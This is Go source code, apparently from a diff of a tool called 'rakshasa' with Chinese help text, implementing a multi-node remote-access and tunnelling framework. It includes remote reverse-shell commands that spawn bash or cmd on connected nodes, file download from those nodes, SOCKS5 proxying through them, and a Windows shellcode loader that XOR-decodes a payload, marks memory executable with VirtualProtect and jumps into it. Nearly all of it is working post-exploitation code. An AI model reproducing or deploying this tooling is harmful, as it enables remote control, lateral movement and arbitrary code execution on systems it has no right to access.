filename := pwd[i+1:]
dir := pwd[:i]
dir = strings.TrimRight(realpath(dir), "/") + "/"
mydir, err := os.Getwd()
local := "./" + filename
if err == nil {
local = mydir + "/" + filename
}
if len(c.Args) == 2 {
s, err := os.Stat(c.Args[1])
if err == nil {
if s.IsDir() {
local = strings.TrimRight(c.Args[1], "/") + "/" + filename
} else {
local = c.Args[1]
}
} else {
local = c.Args[1]
}
}
pwd = dir + filename
result := make(chan interface{}, 999)
id := n.storeQuery(result)
defer n.deleteQuery(id)
b := []byte(pwd)
b = append(b, []byte{0, 0, 0, 0, 0, 0, 0, 0, 0}...)
total := int64(-1)
be := len(pwd) + 1
b[be] = byte(total)
b[be+1] = byte(total >> 8)
b[be+2] = byte(total >> 16)
b[be+3] = byte(total >> 24)
b[be+4] = byte(total >> 32)
b[be+5] = byte(total >> 40)
b[be+6] = byte(total >> 48)
b[be+7] = byte(total >> 56)
n.Write(common.CMD_DOWNLOAD, id, b)
c.ProgressBar().Start()
size := int64(0)
resnum := 0
total = 0
var f *os.File
for {
select {
case res := <-result:
switch v := res.(type) {
case error:
c.ProgressBar().Stop()
c.Println("下载失败", res)
return
case int64:
var err error
size = v
f, err = os.OpenFile(local, os.O_CREATE|os.O_TRUNC|os.O_WRONLY, 0666)
if err != nil {
c.Println("本地文件 ", local, "写入失败", err.Error())
return
}
defer f.Close()
case []byte:
if f == nil {
c.Println("本地文件 ", local, "不可写入")
return
}
resnum++
num, err := f.Write(v)
if err != nil {
c.Println("本地文件 ", local, "写入失败", err.Error())
return
}
if num != len(v) {
c.Println("本地文件 ", local, "写入失败,写入量不符")
return
}
total += int64(num)
i := total * 100 / size
c.ProgressBar().Suffix(fmt.Sprint(" ", i, "%"))
c.ProgressBar().Progress(int(i))
if total == size {
c.ProgressBar().Stop()
c.Println(c.Args[0], "下载成功 文件保存到", local)
return
}
if resnum == 10 {
resnum -= 10
b[be] = byte(total)
b[be+1] = byte(total >> 8)
b[be+2] = byte(total >> 16)
b[be+3] = byte(total >> 24)
b[be+4] = byte(total >> 32)
b[be+5] = byte(total >> 40)
b[be+6] = byte(total >> 48)
b[be+7] = byte(total >> 56)
n.Write(common.CMD_DOWNLOAD, id, b)
}
default:
c.Println("协议错误")
return
}
case <-time.After(common.CMD_TIMEOUT):
c.ProgressBar().Stop()
c.Println("upload time out")
return
}
}
},
})
remoteShell.AddCmd(&ishell.Cmd{
Name: "new",
Help: "与一个或者多个节点连接,使用方法 new ip:端口 多个地址以,间隔 如1080 127.0.0.1:1081,127.0.0.1:1082",
Func: func(c *ishell.Context) {
if len(c.Args) != 1 {
c.Println("参数错误,使用方法 connect ip:端口")
return
}
for _, addr := range strings.Split(c.Args[0], ",") {
_, err := connectNew(addr)
if err != nil {
c.Println("连接", addr, "失败", err)
return
}
}
},
})
remoteShell.AddCmd(&ishell.Cmd{
Name: "shell",
Help: "反弹shell 使用方法 shell id/uuid 启动参数 ,启动参数可为空,win默认启动cmd,linux默认启动bash 如 shell 1 powershell 。 shell 1 zsh",
Func: func(c *ishell.Context) {
if len(c.Args) < 1 {
c.Println("参数错误,例子 shell 1 powershell")
return
}
param := ""
if len(c.Args) == 2 {
param = c.Args[1]
}
n, _ := getNode(c.Args[0])
if n == nil {
c.Println("无法连接节点", c.Args[0])
return
}
res := make(chan interface{}, 999)
id := n.storeQuery(res)
defer n.deleteQuery(id)
p := StartCmdParam{
Param: param,
Size: common.GetSize(),
}
b, _ := json.Marshal(p)
n.Write(common.CMD_SHELL, id, b)
s := &remoteCmd{
cmd: nil,
stdin: nil,
inChan: make(chan []byte, 999),
translate: func(in []byte) ([]byte, error) { return in, nil },
pong: time.Now().Unix(),
}
select {
case i := <-res:
switch v := i.(type) {
case error:
c.Println("启动shell失败,错误", v.Error())
case []byte:
data := v
s.id = uint32(data[0]) | uint32(data[1])<<8 | uint32(data[2])<<16 | uint32(data[3])<<24
switch data[4] {
case 0: //windows
if string(data[len(data)-6:]) == string([]byte{32, 57, 51, 54, 13, 10}) { //活动代码页: 936
//gbk转utf8
s.translate = func(in []byte) ([]byte, error) {
reader := transform.NewReader(bytes.NewReader(in), simplifiedchinese.GBK.NewDecoder())
d, e := ioutil.ReadAll(reader)
if e != nil {
return nil, e
}
return d, nil
}
}
case 1: //linux
if runtime.GOOS == "windows" {
if !common.EnableTermVt {
s.translate = func(in []byte) ([]byte, error) {
if in[0] == 27 {
r, _ := regexp2.Compile(`\x1B(?:[@-Z\\-_]|\[[0-?]*[ -/]*[@-~])`, 0)
res, _ := r.Replace(string(in), "", 0, -1)
return []byte(res), nil
}
return in, nil
}
}
}
}
atomic.CompareAndSwapInt32(&s.cmdStatus, 0, 1)
}
case <-time.After(common.CMD_TIMEOUT):
c.Println("启动shell失败,超时")
return
}
n.shellMap.Store(s.id, s)
r, _ := readline.NewEx(&readline.Config{FuncIsTerminal: func() bool { return false }, ForcePrint: true})
defer func() {
n.shellMap.Delete(s.id)
atomic.StoreInt32(&s.cmdStatus, -1)
c.Println("请按回车键退出")
r.Close()
}()
go func() {
for {
switch s.cmdStatus {
case 1:
input, err := r.ReadlineEx()
if err != nil {
if err != readline.ErrInterrupt {
res <- err
return
}
if s.cmdStatus == 1 {
n.Write(common.CMD_SHELL_DATA, s.id, []byte{03})
}
}
if s.cmdStatus == 1 {
n.Write(common.CMD_SHELL_DATA, s.id, []byte(input+"\n"))
}
case 0:
time.Sleep(time.Millisecond * 100)
case -1:
return
}
}
}()
tick := time.NewTicker(common.CMD_TIMEOUT / 2)
for {
select {
case b := <-s.inChan:
s.pong = time.Now().Unix()
if len(b) > 0 {
b, err := s.translate(b)
if err != nil {
c.Println("shell 运行失败", err)
return
}
fmt.Print(string(b))
}
case v := <-res:
if err, ok := v.(error); ok {
if err.Error() != "退出shell" {
c.Println("运行shell", param, "失败", err)
}
} else {
c.Println("无法处理消息", v)
}
return
case <-tick.C:
s.ping = time.Now().Unix()
if s.ping-s.pong > int64(common.CMD_TIMEOUT/time.Second) {
c.Println("shell time out")
return
}
n.Write(common.CMD_SHELL_DATA, s.id, nil)
}
}
},
})
rootCli.AddCmd(&ishell.Cmd{
Name: "remoteshell",
Help: "远程shell",
Func: func(c *ishell.Context) {
remoteShell.Run()
},
})
}
// 打印节点
func printNodes(c *ishell.Context) {
l := clientLock.RLock()
defer l.RUnlock()
var list []*node
for _, n := range nodeMap {
list = append(list, n)
}
orderNode(list)
c.Println("ID UUID HostName GOOS IP listenIP")
c.Println("-----------------------------------------------------------------------------------------------------------------------------")
for k, n := range list {
n.id = k + 1
hostname := bytes.Repeat([]byte(" "), 22)
copy(hostname, n.hostName)
ip := bytes.Repeat([]byte(" "), 23)
if n.uuid == currentNode.uuid {
copy(ip, "(localhost)"+":"+strconv.Itoa(n.port))
} else {
copy(ip, n.addr+":"+strconv.Itoa(n.port))
}
var s []string
for _, ip := range n.mainIp {
if ip != "" {
s = append(s, ip+":"+strconv.Itoa(n.port))
}
}
listenip := strings.Join(s, ",")
goos := bytes.Repeat([]byte(" "), 11)
copy(goos, n.goos)
c.Printf("%2d %s %s %s %s %s\n", n.id, n.uuid, hostname, goos, ip, listenip)
}
}
func realpath(path string) string {
path_s := strings.Split(path, "/")
realpath := []string{}
if len(path_s) == 0 {
return "error"
}
for _, value := range path_s {
if value == ".." {
k := len(realpath)
kk := k - 1
realpath = append(realpath[:kk], realpath[k:]...)
} else {
realpath = append(realpath, value)
}
}
return strings.Join(realpath, "/")
}
func printConn() {
connMap.Range(func(key, value interface{}) bool {
fmt.Println(key)
return true
})
}
func getNode(arg string) (*node, error) {
l := clientLock.RLock()
id, err := strconv.Atoi(arg)
if err == nil {
for _, n := range nodeMap {
if n.id == id && n.uuid != currentNode.uuid {
l.RUnlock()
return n, nil
}
}
} else {
if v, ok := nodeMap[arg]; ok && v.uuid != currentNode.uuid {
l.RUnlock()
return v, nil
}
}
l.RUnlock()
return connectNew(arg)
}
func getNodeWithCurrentNode(arg string) (*node, error) {
l := clientLock.RLock()
id, err := strconv.Atoi(arg)
if err == nil {
for _, n := range nodeMap {
if n.id == id {
l.RUnlock()
return n, nil
}
}
} else {
if v, ok := nodeMap[arg]; ok {
l.RUnlock()
return v, nil
}
}
l.RUnlock()
return connectNew(arg)
}
+106
View File
@@ -0,0 +1,106 @@
//go:build linux || darwin
// +build linux darwin
package server
import (
"errors"
"fmt"
"io"
"os/exec"
"rakshasa/common"
"time"
"github.com/creack/pty"
)
func startCMD(n *node, msgid uint32, param StartCmdParam) error {
if param.Param == "" {
param.Param = "/bin/bash"
}
shellMapLock.Lock()
defer func() {
if err := recover(); err != nil && common.Debug {
fmt.Printf("错误 %+v\n", err)
}
shellMapLock.Unlock()
}()
cmd := &remoteCmd{
id: common.GetID(),
inChan: make(chan []byte),
translate: func(in []byte) ([]byte, error) { return in, nil },
pong: time.Now().Unix(),
}
cmd.cmd = exec.Command(param.Param)
f, err := pty.StartWithSize(cmd.cmd, param.Size)
if err != nil {
return err
}
cmd.stdin = f
outErr := make(chan error, 999)
n.shellMap.Store(cmd.id, cmd)
go func(cmd *remoteCmd) {
defer func() {
n.shellMap.Delete(cmd.id)
f.Close()
cmd.stdin.Close()
}()
errChan := make(chan error, 999)
go func() {
for {
select {
case b := <-cmd.inChan:
if len(b) == 0 { //ping数据包
n.Write(common.CMD_SHELL_DATA, cmd.id, nil) //pong
} else {
_, err = cmd.stdin.Write(b)
if err != nil {
errChan <- err
}
}
case err = <-errChan:
if common.Debug {
fmt.Println(cmd.id, "错误关闭", err)
}
cmd.cmd.Process.Kill()
case err = <-outErr:
n.Write(common.CMD_SHELL_RESULT, msgid, append([]byte{0}, err.Error()...))
cmd.cmd.Process.Kill()
return
case <-time.After(common.CMD_TIMEOUT): //避免超时
cmd.cmd.Process.Kill()
return
}
}
}()
go func() {
buf := make([]byte, common.MAX_PLAINTEXT)
for {
num, err2 := f.Read(buf)
if err2 != nil || io.EOF == err2 {
outErr <- errors.New("退出shell")
break
}
n.Write(common.CMD_SHELL_DATA, cmd.id, buf[:num])
}
}()
cmd.cmd.Wait()
}(cmd)
n.Write(common.CMD_SHELL_RESULT, msgid, []byte{1, byte(cmd.id), byte(cmd.id >> 8), byte(cmd.id >> 16), byte(cmd.id >> 24), 1})
return nil
}
+139
View File
@@ -0,0 +1,139 @@
//go:build windows
// +build windows
package server
import (
"errors"
"fmt"
"io"
"rakshasa/common"
"time"
"os/exec"
)
func startCMD(n *node, msgid uint32, param StartCmdParam) error {
if param.Param == "" {
param.Param = "cmd"
}
shellMapLock.Lock()
defer func() {
if err := recover(); err != nil && common.Debug {
fmt.Printf("错误 %+v\n", err)
}
shellMapLock.Unlock()
}()
cmd := &remoteCmd{
id: common.GetID(),
inChan: make(chan []byte),
translate: func(in []byte) ([]byte, error) { return in, nil },
pong: time.Now().Unix(),
}
c := exec.Command("chcp")
res, err := c.Output()
if err != nil {
return err
}
cmd.cmd = exec.Command(param.Param)
stdout, err := cmd.cmd.StdoutPipe()
if err != nil {
return err
}
cmd.stdin, err = cmd.cmd.StdinPipe()
if err != nil {
return err
}
stderr, err := cmd.cmd.StderrPipe()
if err != nil {
return err
}
err = cmd.cmd.Start()
if err != nil {
return err
}
outErr := make(chan error, 999)
n.shellMap.Store(cmd.id, cmd)
go func(cmd *remoteCmd) {
defer func() {
n.shellMap.Delete(cmd.id)
stdout.Close()
cmd.stdin.Close()
cmd.cmd.Process.Kill()
}()
var errchan = make(chan error, 10)
go func() {
for {
select {
case b := <-cmd.inChan:
if len(b) == 0 { //ping数据包
n.Write(common.CMD_SHELL_DATA, cmd.id, nil) //pong
} else {
_, err = cmd.stdin.Write(b)
if err != nil {
errchan <- err
}
}
case err = <-errchan:
if common.Debug {
fmt.Println(cmd.id, "错误关闭", err)
}
cmd.cmd.Process.Kill()
case err = <-outErr:
n.Write(common.CMD_SHELL_RESULT, msgid, append([]byte{0}, err.Error()...))
cmd.cmd.Process.Kill()
return
case <-time.After(common.CMD_TIMEOUT): //避免超时
cmd.cmd.Process.Kill()
return
}
}
}()
go func() {
buf := make([]byte, common.MAX_PLAINTEXT)
for {
num, err2 := stdout.Read(buf)
if err2 != nil || io.EOF == err2 {
outErr <- errors.New("退出shell")
break
}
n.Write(common.CMD_SHELL_DATA, cmd.id, buf[:num])
}
}()
go func() {
buf := make([]byte, 1024)
for {
num, err2 := stderr.Read(buf)
if err2 != nil || io.EOF == err2 {
break
}
n.Write(common.CMD_SHELL_DATA, cmd.id, buf[:num])
//output, _ := libraries.GbkToUtf8(buf[:n])
}
}()
cmd.cmd.Wait()
}(cmd)
n.Write(common.CMD_SHELL_RESULT, msgid, append([]byte{1, byte(cmd.id), byte(cmd.id >> 8), byte(cmd.id >> 16), byte(cmd.id >> 24), 0}, res...))
return nil
}
+159
View File
@@ -0,0 +1,159 @@
package server
import (
"encoding/base64"
"encoding/hex"
"encoding/json"
"errors"
"fmt"
"io/ioutil"
"os"
"os/exec"
"path/filepath"
"rakshasa/common"
"strconv"
"time"
"github.com/luyu6056/ishell"
)
type ShellCodeStruct struct {
Str string
Key string
Param string
TimeOut int //second
}
func RunShellcodeWithDst(dst, shellcode, xorKey, param string, timeout int) error {
if dst != "" {
n, err := getNodeWithCurrentNode(dst)
if err != nil {
return fmt.Errorf("无法链接节点%s,错误%v", dst, err)
}
s := ShellCodeStruct{
Str: shellcode,
Key: xorKey,
Param: param,
TimeOut: timeout,
}
if n.uuid == currentNode.uuid {
return doShellcode(s)
}
res := make(chan interface{}, 1)
id := n.storeQuery(res)
b, _ := json.Marshal(s)
n.Write(common.CMD_RUN_SHELLCODE, id, b)
select {
case v := <-res:
fmt.Println("运行结果\n", v)
case <-time.After(time.Second * time.Duration(timeout) * 2):
fmt.Println("运行超时无结果")
}
} else {
b, err := ioutil.ReadFile(shellcode)
if err != nil {
return currentNodeRunShellcode(shellcode, xorKey, param)
} else {
return currentNodeRunShellcode(string(b), xorKey, param)
}
}
return nil
}
func currentNodeRunShellcode(shellcode, xorKey, param string) error {
common.ChangeArg(param)
b, err := hex.DecodeString(shellcode)
if err != nil {
b, err = base64.RawStdEncoding.DecodeString(shellcode)
}
if err != nil {
b = []byte(shellcode)
//fmt.Println(err)
//return errors.New("shellcode hex/base64 解码失败")
}
if len(xorKey) > 0 {
for i := 0; i < len(b); i++ {
k := i % (len(xorKey))
b[i] = b[i] ^ xorKey[k]
}
}
shellcodeRun(b)
return nil
}
func init() {
shellcode := cliInit()
shellcode.SetPrompt("rakshasa\\shellcode>")
shellcode.AddCmd(&ishell.Cmd{
Name: "run",
Help: "运行shellcode,参数一为目标节点,参数二为shellcode代码或者本地文件,参数三为xor解密key,参数四为启动参数,参数五为等待时间(默认3秒)",
Func: func(c *ishell.Context) {
if len(c.Args) < 2 {
c.Println("参数错误")
return
}
xorKey := ""
if len(c.Args) > 2 {
xorKey = c.Args[2]
}
param := ""
if len(c.Args) > 3 {
param = c.Args[3]
}
b, err := ioutil.ReadFile(c.Args[0])
if err != nil {
b = []byte(c.Args[0])
}
timeout := 3
if len(c.Args) > 4 {
t, err := strconv.Atoi(c.Args[4])
if err == nil {
timeout = t
}
}
err = RunShellcodeWithDst(string(b), c.Args[1], xorKey, param, timeout)
if err != nil {
c.Println(err)
}
},
})
rootCli.AddCmd(&ishell.Cmd{
Name: "shellcode",
Help: "执行shellcode",
Func: func(c *ishell.Context) {
shellcode.Run()
},
})
}
func doShellcode(s ShellCodeStruct) error {
path, _ := os.Executable()
_, exeName := filepath.Split(path)
cmd := exec.Command("./"+exeName, "-shellcode", s.Str, "-sXor", s.Key, "-sParam", s.Param)
reschan := make(chan string, 2)
go func() {
r, _ := cmd.CombinedOutput()
reschan <- string(r)
}()
select {
case res := <-reschan:
return errors.New(res)
case <-time.After(time.Second * (time.Duration(s.TimeOut))):
return errors.New("已执行,等待超时")
}
}
+10
View File
@@ -0,0 +1,10 @@
//go:build linux || darwin
// +build linux darwin
package server
import "errors"
func shellcodeRun(b []byte) error {
return errors.New("linux暂不支持")
}
+37
View File
@@ -0,0 +1,37 @@
//go:build windows
// +build windows
package server
import (
"fmt"
"syscall"
"unsafe"
)
var (
kernel32 = syscall.MustLoadDLL("kernel32.dll")
VirtualProtect = kernel32.MustFindProc("VirtualProtect")
old32 = syscall.MustLoadDLL("ole32.dll")
CoTaskMemAlloc = old32.MustFindProc("CoTaskMemAlloc")
)
func shellcodeRun(code []byte) error {
defer func() {
if err := recover(); err != nil {
fmt.Println(err)
}
}()
l := uintptr(len(code))
pwstrLocal, _, _ := CoTaskMemAlloc.Call(l)
var old int
_, _, _ = VirtualProtect.Call(pwstrLocal, l, 0x40, uintptr(unsafe.Pointer(&old)))
h := [3]uintptr{pwstrLocal, l, l}
s := *(*[]byte)(unsafe.Pointer(&h))
copy(s, code)
syscall.Syscall(pwstrLocal, 0, 0, 0, 0)
return nil
}
+585
View File
@@ -0,0 +1,585 @@
package server
import (
"bytes"
"encoding/binary"
"errors"
"fmt"
"hash/crc32"
"log"
"net"
"rakshasa/common"
"runtime/debug"
"strconv"
"strings"
"sync"
"sync/atomic"
"unsafe"
"github.com/luyu6056/ishell"
)
const (
STATUS_OFF = 0
STATUS_ON = 1
UDP_PORT_MIN = 30000
UDP_PORT_MAX = 60000
SOCKES5_VERSION = 5
)
var (
SOCKES5_AUTH_SUSSCES []byte = []byte{5, 0}
SOCKES5_AUTHPW_SUSSCES []byte = []byte{5, 2}
PROTOCOL_ERR = errors.New("protocolErr")
)
const (
SERVER_NUM = 4 //有效的连接数量
CONN_AUTH_CLOSE = 0
CONN_AUTH_NONE = 1
CONN_AUTH_PW = 2
CONN_AUTH_OK = 3
CONN_AUTH_MESSAGE = 4
CONN_REMOTE_CLOSE = 0
CONN_REMOTE_OPEN = 1
)
type clientConnect struct {
cfg *common.Addr
windowsSize int64
isClose int32
conn net.Conn
udpConn net.Conn
remote int32
auth int
server *node
id uint32
wait chan int
close string
udpMap sync.Map
udpRepData []byte
addrData []byte
listenId uint32
}
func (s *clientConnect) Write(b []byte) {
switch b[0] {
case common.CMD_CONNECT_BYIDADDR_RESULT:
switch common.NetWork(b[1]) {
case common.SOCKS5_CMD_CONNECT:
if b[2] != 1 {
go func() { s.Close("") }()
} else {
//发送成功消息
s.auth = CONN_AUTH_MESSAGE
s.conn.Write(append([]byte{5, 0, 0}, s.addrData...))
}
case common.SOCKS5_CMD_BIND:
s.auth = CONN_AUTH_MESSAGE
s.conn.Write(append([]byte{5, 0, 0}, s.addrData...))
case common.RAW_TCP:
if b[2] != 1 {
go func() { s.Close("") }()
}
default:
log.Println("未处理")
}
case common.CMD_CONN_MSG:
if common.Debug {
fmt.Println("收到", crc32.ChecksumIEEE(b[1:]), len(b[1:]))
}
s.conn.Write(b[1:])
s.Addwindow(int64(-len(b[1:])))
case common.CMD_CONN_UDP_MSG:
s.udpConn.Write(b[1:])
}
}
var remoteClose = "服务器要求远程关闭"
func (s *clientConnect) Close(msg string) {
if atomic.CompareAndSwapInt32(&s.isClose, 0, 1) {
<-s.wait
s.wait <- common.CONN_STATUS_CLOSE
s.auth = CONN_AUTH_CLOSE
s.server.connMap.Delete(s.id)
if msg == "" {
msg = "未知关闭"
}
s.close = msg
if msg == remoteClose {
s.remote = CONN_REMOTE_CLOSE
} else if s.remote == CONN_REMOTE_OPEN {
s.remote = CONN_REMOTE_CLOSE
s.Remoteclose()
}
if common.Debug {
fmt.Println("close 原因", msg)
}
s.conn.Close()
if s.udpConn != nil {
s.udpConn.Close()
}
s.udpMap.Range(func(k, _ interface{}) bool {
s.udpMap.Delete(k)
return true
})
}
}
func (s *clientConnect) Addwindow(window int64) {
windows_size := atomic.AddInt64(&s.windowsSize, window)
windows_update_size := int64(common.INIT_WINDOWS_SIZE)
if windows_size < windows_update_size/2 { //扩大窗口
if size := windows_update_size - s.windowsSize; size > 0 {
atomic.AddInt64(&s.windowsSize, size)
go func() {
buf := make([]byte, 8)
buf[0] = byte(size & 255)
buf[1] = byte(size >> 8 & 255)
buf[2] = byte(size >> 16 & 255)
buf[3] = byte(size >> 24 & 255)
buf[4] = byte(size >> 32 & 255)
buf[5] = byte(size >> 40 & 255)
buf[6] = byte(size >> 48 & 255)
buf[7] = byte(size >> 56 & 255)
s.server.Write(common.CMD_WINDOWS_UPDATE, s.id, buf)
}()
}
}
}
func StartSocks5(cfg *common.Addr, dst []string) error {
var target *node
var err error
if len(dst) == 0 {
target = currentNode
} else {
target, err = GetNodeFromAddrs(dst)
if err != nil {
return err
}
}
l := &clientListen{
server: target,
localAddr: cfg.Addr(),
id: common.GetID(),
typ: "socks5",
}
l.listen, err = StartSocks5WithServer(cfg, target, l.id)
if err != nil {
return err
}
currentNode.listenMap.Store(l.id, l)
return nil
}
func StartSocks5WithServer(cfg *common.Addr, n *node, id uint32) (net.Listener, error) {
l, err := net.Listen("tcp", cfg.Addr())
if err != nil {
return nil, err
}
fmt.Println("socks5 start ", cfg.Addr())
go func() {
for {
conn, err := l.Accept()
if err != nil {
if err.(*net.OpError).Err == net.ErrClosed {
return
}
continue
}
c := &clientConnect{
cfg: cfg,
conn: conn,
server: n,
listenId: id,
}
go handleSocks5Local(c)
}
}()
return l, nil
}
func (s *clientConnect) OnOpened() (close bool) {
s.wait = make(chan int, 1)
s.auth = CONN_AUTH_NONE
s.remote = CONN_REMOTE_OPEN
s.windowsSize = 0
s.wait <- common.CONN_STATUS_OK
return
}
// 监听本地服务
func handleSocks5Local(s *clientConnect) {
defer func() {
if err := recover(); err != nil {
fmt.Println(err)
debug.PrintStack()
}
}()
b := make([]byte, common.MAX_PLAINTEXT-8)
if s.OnOpened() {
s.Close("无法获得服务器连接")
}
for {
n, err := s.conn.Read(b)
if err != nil {
s.Close(err.Error())
return
}
data := b[:n]
switch s.auth {
case CONN_AUTH_NONE:
if len(data) > 2 {
if data[0] == 5 {
if s.cfg.User() != "" && s.cfg.Password() != "" {
s.conn.Write(SOCKES5_AUTH_SUSSCES)
s.auth = CONN_AUTH_PW
} else {
s.conn.Write(SOCKES5_AUTH_SUSSCES)
s.auth = CONN_AUTH_OK
}
}
}
case CONN_AUTH_PW:
if s.cfg.User() != "" && s.cfg.Password() != "" {
if len(data) > 4 {
defer recover()
user := string(data[2 : 2+data[1]])
password := string(data[3+data[1] : 3+data[1]+data[2+data[1]]])
if user == s.cfg.User() && password == s.cfg.Password() {
s.conn.Write([]byte{5, 0})
s.auth = CONN_AUTH_OK
} else {
s.conn.Write([]byte{5, 1})
}
}
} else {
s.conn.Write([]byte{5, 0})
s.auth = CONN_AUTH_OK
}
case CONN_AUTH_OK:
s.addrData = data[3:]
switch common.NetWork(data[1]) {
case common.SOCKS5_CMD_CONNECT:
addr, port := socks5ReadAddr(data)
s.connect(common.SOCKS5_CMD_CONNECT, addr, port)
case common.SOCKS5_CMD_BIND:
addr, port := socks5ReadAddr(data)
s.connect(common.SOCKS5_CMD_BIND, addr, port)
case common.SOCKS5_CMD_UDP:
localIP := s.conn.LocalAddr().String()
localIP = localIP[:strings.Index(localIP, ":")]
//找一个能用的udp端口
var port uint16
for i := uint16(UDP_PORT_MIN); i <= UDP_PORT_MAX; i++ {
s.udpConn, err = net.ListenUDP("udp", &net.UDPAddr{
IP: net.ParseIP(localIP),
Port: int(i),
})
if err == nil {
port = i
break
}
}
if s.udpConn == nil {
data[0] = 5
data[1] = 1 //RepRuleFailure
s.conn.Write(data)
continue
}
repdata := []byte{5, 0, 0, 1, 0, 0, 0, 0, byte(port >> 8), byte(port)}
ipb := ipToByte(localIP)
addr, port := socks5ReadAddr(data)
s.connect(common.SOCKS5_CMD_UDP, addr, port)
copy(repdata[4:], ipb)
s.conn.Write(repdata)
go handleSocks5Udp(s)
default:
data[0] = 5
data[1] = 7 //RepCmdNotSupported
s.conn.Write(data)
}
case CONN_AUTH_MESSAGE:
//binary.LittleEndian.PutUint32(outbuf[5:], crc32.ChecksumIEEE(data)+conn.msgno)
//conn.msgno++
var new_size int64
if new_size = int64(common.INIT_WINDOWS_SIZE) - s.windowsSize; new_size > 0 { //扩大窗口
atomic.AddInt64(&s.windowsSize, new_size)
} else {
new_size = 0
}
buf := make([]byte, 8)
buf[0] = byte(new_size)
buf[1] = byte(new_size >> 8)
buf[2] = byte(new_size >> 16)
buf[3] = byte(new_size >> 24)
buf[4] = byte(new_size >> 32)
buf[5] = byte(new_size >> 40)
buf[6] = byte(new_size >> 48)
buf[7] = byte(new_size >> 56)
if common.Debug {
fmt.Println("发送", crc32.ChecksumIEEE(data), len(data))
}
s.server.Write(common.CMD_CONN_MSG, s.id, append(buf, data...))
}
}
}
func handleSocks5Udp(s *clientConnect) {
var b = make([]byte, 65535)
for {
n, err := s.udpConn.Read(b)
if err != nil {
s.Close(err.Error())
return
}
data := b[:n]
if b[2] != 0 {
//不支持分片
continue
}
data = data[3:]
common.GetIDLock.Lock()
var udpid uint32
switch data[0] {
case 1:
ip := fmt.Sprintf("%d.%d.%d.%d:%d", data[1], data[2], data[3], data[4], int(data[5])<<8|int(data[6]))
if v, ok := s.udpMap.Load(ip); !ok {
udps := &clientConnect{
server: s.server,
}
udps.udpConn = s.udpConn
udps.id = udps.server.storeConn(s)
udpid = udps.id
udps.udpRepData = make([]byte, 10)
copy(udps.udpRepData, data)
udps.udpMap.Store(ip, udpid)
} else {
udpid = v.(uint32)
}
case 3:
case 4:
}
common.GetIDLock.Unlock()
buf := make([]byte, 4)
buf[0] = byte(udpid)
buf[1] = byte(udpid >> 8)
buf[2] = byte(udpid >> 16)
buf[3] = byte(udpid >> 24)
s.server.Write(common.CMD_CONN_UDP_MSG, udpid, append(buf, data...))
}
}
func (s *clientConnect) connect(command common.NetWork, addr string, port uint16) {
ports := strconv.Itoa(int(port))
buf := make([]byte, 2+len(addr)+len(ports))
s.id = s.server.storeConn(s)
buf[0] = byte(command)
copy(buf[1:], addr)
buf[1+len(addr)] = ':'
copy(buf[2+len(addr):], ports)
s.server.Write(common.CMD_CONNECT_BYIDADDR, s.id, buf)
if value, ok := s.server.listenMap.Load(s.listenId); ok {
switch v := value.(type) {
case *serverListen:
v.connMap.Store(s.id, s)
case *clientListen:
v.connMap.Store(s.id, s)
}
}
}
func Bytes2str(b []byte) string {
return *(*string)(unsafe.Pointer(&b))
}
func (s *clientConnect) Remoteclose() {
s.close = "本地要求远程关闭"
buf := make([]byte, 4)
buf[0] = byte(s.id)
buf[1] = byte(s.id >> 8)
buf[2] = byte(s.id >> 16)
buf[3] = byte(s.id >> 24)
s.server.Write(common.CMD_DELETE_LISTENCONN_BYID, s.listenId, buf)
}
func init() {
socks5shell := cliInit()
socks5shell.SetPrompt("rakshasa\\socks5>")
socks5shell.AddCmd(&ishell.Cmd{
Name: "list",
Help: "列出当前连接的ID和其他信息",
Func: func(c *ishell.Context) {
var list []*clientListen
currentNode.listenMap.Range(func(key, value interface{}) bool {
if v, ok := value.(*clientListen); ok && v.typ == "socks5" {
list = append(list, v)
}
return true
})
orderClientListen(list)
fmt.Println("当前监听端口数量:", len(list))
for _, v := range list {
fmt.Println("ID", v.id, "本地监听端口", v.localAddr, "转发服务器uuid", v.server.uuid)
}
},
})
socks5shell.AddCmd(&ishell.Cmd{
Name: "new-socks5",
Help: "新建一个socks5连接,使用方法 new-socks5 配置字符串 目标服务器 如 new-socks5 admin:[email protected]:1080 127.0.0.1:8881,127.0.0.1:8882",
Func: func(c *ishell.Context) {
if len(c.Args) < 1 {
c.Println("参数错误,例子 new-socks5 admin:[email protected]:1080")
return
}
cfg, err := common.ParseAddr(c.Args[0])
if err != nil {
c.Println(err)
return
}
nodes := []string{}
if len(c.Args) == 2 {
nodes = strings.Split(c.Args[1], ",")
}
if err := StartSocks5(cfg, nodes); err != nil {
c.Println("本地socks5启动失败", err)
} else {
c.Println("本地socks5启动成功")
}
},
})
socks5shell.AddCmd(&ishell.Cmd{
Name: "close",
Help: "关闭一个socsk5监听实例,使用方法 close ID",
Func: func(c *ishell.Context) {
if len(c.Args) != 1 {
c.Println("参数错误,例子 close 1")
return
}
id, _ := strconv.Atoi(c.Args[0])
var l *clientListen
if value, ok := currentNode.listenMap.Load(uint32(id)); ok {
if v, ok := value.(*clientListen); ok && v.typ == "socks5" {
l = v
}
}
if l == nil {
c.Println("没有找到ID为", id, "的连接")
} else {
l.Close("命令行关闭")
l.server.Write(common.CMD_DELETE_LISTEN, l.id, nil)
currentNode.listenMap.Delete(uint32(id))
}
},
})
rootCli.AddCmd(&ishell.Cmd{
Name: "socks5",
Help: "进入socks5功能",
Func: func(c *ishell.Context) {
socks5shell.Run()
},
})
}
func ipToByte(ip string) []byte {
var b []byte
if strings.Contains(ip, ".") {
for _, s := range strings.Split(ip, ".") {
i, _ := strconv.Atoi(s)
b = append(b, byte(i))
}
}
return b
}
func socks5ReadAddr(data []byte) (addr string, port uint16) {
port = binary.BigEndian.Uint16(data[len(data)-2:])
switch data[3] {
case 1: //ipv4
str := make([][]byte, 4)
for k, v := range data[4:8] {
str[k] = []byte(strconv.Itoa(int(v)))
}
addr = string(bytes.Join(str, []byte{46}))
case 3: //域名
addr = string(data[5 : len(data)-2])
case 4: //ipv6
strs := make([]string, 0)
for i := 4; i < 20; i += 2 {
str := ""
for j := 0; j < 2; j++ {
str += fmt.Sprintf("%0.2x", data[i+j])
}
str = strings.TrimLeft(str, "0")
if str == "" {
str = "0"
}
strs = append(strs, str)
}
addr = "[" + strings.Join(strs, ":") + "]"
default:
}
return
}